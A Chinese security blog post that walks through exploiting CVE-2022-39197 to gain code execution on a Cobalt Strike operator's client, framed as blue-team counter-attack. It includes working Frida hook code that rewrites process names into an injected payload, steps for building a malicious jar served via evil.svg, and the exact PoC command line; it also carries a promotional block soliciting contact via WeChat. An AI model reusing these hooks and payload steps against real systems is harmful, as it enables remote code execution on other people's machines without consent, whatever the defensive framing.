首页 > 其他分享 >Cobalt Strike之反向上线操作

Cobalt Strike之反向上线操作

时间:2023-11-24 09:11:39浏览次数:39  
标签:函数 szExeFile dll 反向 Strike Cobalt payload

前言

Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。

实现原理

攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例

  • Kernel32.dll:

    CreateFileW

    ReadFile

    WriteFile

    FindFirstFileW

    CreateProcessW

    GetProcAddress

    LoadLibraryW

    VirtualAlloc

    VirtualProtect

  • Advapi32.dll:

    RegOpenKeyExW

    RegQueryValueExW

    RegSetValueExW

    GetUserNameA

  • User32.dll:

    MessageBoxW

    SetWindowTextW

    GetWindowTextW

  • Gdi32.dll:

    TextOutW

    CreateFontIndirectW

  • Shell32.dll:

    ShellExecuteW

  • Ws2_32.dll:

    send

    recv

在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。

例如Kernel32.dll:中的Process32Next

# Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
# 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑
Interceptor.attach(pProcess32Next, {
    onEnter: function(args) {
        this.pPROCESSENTRY32 = args[1];
        if(Process.arch == "ia32"){
            this.exeOffset = 36;
        }else{
            this.exeOffset = 44;
        }
        this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
    },
    onLeave: function(retval) {
        if(this.szExeFile.readAnsiString() == "target") {
            send("[!] Found beacon, injecting payload");
            this.szExeFile.writeAnsiString(payload);
        }
    }
})

函数内整体逻辑拆开来分析下

处理函数进入 onEnter

onEnter: function(args) {
    this.pPROCESSENTRY32 = args[1];
    if(Process.arch == "ia32"){
        this.exeOffset = 36;
    }else{
        this.exeOffset = 44;
    }
    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},

在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名

处理函数离开 onLeave

onLeave: function(retval) {
    if(this.szExeFile.readAnsiString() == "target") {
        send("[!] Found beacon, injecting payload");
        this.szExeFile.writeAnsiString(payload);
    }
}

在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload

简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE

反制复现

环境准备:



注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)

开源POC和EXP:https://github.com/its-arun/CVE-2022-39197

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

1、编辑恶意文件内容

修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS

1

2、编译文件

使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下

1

3、将生成的恶意jar文件和svg文件放在同一路径下

1

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

1

4、蓝队在serve路径下开启一个web服务

1

5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址

1

6、执行POC脚本

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

1

运行后,红队的cs客户端上可以看到此时木马已经成功上线

1

当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar

成功上线蓝队CS,从而达到反制RCE

思考

除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样)

最后

此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。

更多网安技能的在线实操练习,请点击这里>>

  

标签:函数,szExeFile,dll,反向,Strike,Cobalt,payload
From: https://www.cnblogs.com/hetianlab/p/17852958.html

相关文章

  • 神经网络入门篇:直观理解反向传播(Backpropagation intuition)
    详细推导反向传播下图是逻辑回归的推导:回想一下逻辑回归的公式(参考公式1.2、公式1.5、公式1.6、公式1.15)公式1.38:\[\left. \begin{array}{l} {x}\\ {w}\\ {b} \end{array} \right\} \implies{z={w}^Tx+b} \implies{\alpha=\sigma(z)} \implies{{L}\left(a,y......
  • 无名分组 有名分组 反向解析
    无名:"""分组:就是给某一段正则表达式用小括号扩起来"""url(r'^test/(\d+)/',views.test)deftest(request,xx):print(xx)returnHttpResponse('test')#无名分组就是将括号内正则表达式匹配到的内容当作位置参数传递给后面的视图函数 有名:可以给正则表达式起一个别......
  • 多表查询(跨表查询) 子查询 链表查询 正反向查询概念 聚合查询 分组查询 F查询和Q查询
    昨日内容回顾模板之变量所有的数据类型都可以在模板中使用render(request,'index.html',context={''})render(request,'index.html',context=locals())"""在模板中使用变量的时候,用的是字典的key值,key值value值一般保持一致"""模板之过滤器类似于函数,函数才可以传递参......
  • 反向传播算法代码
    importtorchimporttorch.nnasnnimporttorch.optimasoptimclassMLPModel(nn.Module):def__init__(self,input_size):super(MLPModel,self).__init__()self.fc1=nn.Linear(input_size,128)self.fc2=nn.Linear(128,64)......
  • Centos7 nginx反向代理gitea和grafana&钉钉告警
    1安装nginxyuminstall-ygccmakepcre-develzlib-developenssl-develwgethttps://nginx.org/download/nginx-1.20.1.tar.gztar-zxvfnginx-1.20.1.tar.gzcdnginx-1.20.1./configure--prefix=/usr/local/nginx--with-http_ssl_modulemakemakeinstallvi/etc/system......
  • 内网渗透-防火墙出入规则上线-正反向连接+隧道技术-SMB+防火墙控制
    环境:如下图 不出网-控制上线-CS-反向连接前提:已经使用攻击机通过漏洞拿下了windows7主机,又通过windows7正向连接拿下了windows10。 目的:让windows2008在cs上线。      想要通过windows10正向连接拿下windows2008时,发现windows2008开启了防火墙对入站规则做了限制,无法正向......
  • 24. 从零用Rust编写正反向代理,细说HTTP行为中的几种定时器
    wmproxywmproxy已用Rust实现http/https代理,socks5代理,反向代理,静态文件服务器,四层TCP/UDP转发,内网穿透,后续将实现websocket代理等,会将实现过程分享出来,感兴趣的可以一起造个轮子项目地址国内:https://gitee.com/tickbh/wmproxygithub:https://github.com/tickbh/wmpro......
  • nginx 配置反向代理
    什么是反向代理?代理:通过客户机的配置,实现让一台服务器(代理服务器)代理客户机,客户的所有请求都交给代理服务器处理。反向代理:用一台服务器,代理真实服务器,用户访问时,不再是访问真实服务器,而是代理服务器。nginx可以当做反向代理服务器来使用:我们需要提前在nginx中配置好反向......
  • window系统通过反向代理部署nodejs
       https://dev.to/petereysermans/hosting-a-node-js-application-on-windows-with-iis-as-reverse-proxy-397b ......
  • 8. 从零用Rust编写正反向代理, HTTP改造篇之HPACK原理
    wmproxywmproxy是由Rust编写,已实现http/https代理,socks5代理,反向代理,静态文件服务器,内网穿透,配置热更新等,后续将实现websocket代理等,同时会将实现过程分享出来,感兴趣的可以一起造个轮子法项目++wmproxy++gite:https://gitee.com/tickbh/wmproxygithub:https://github.com/tic......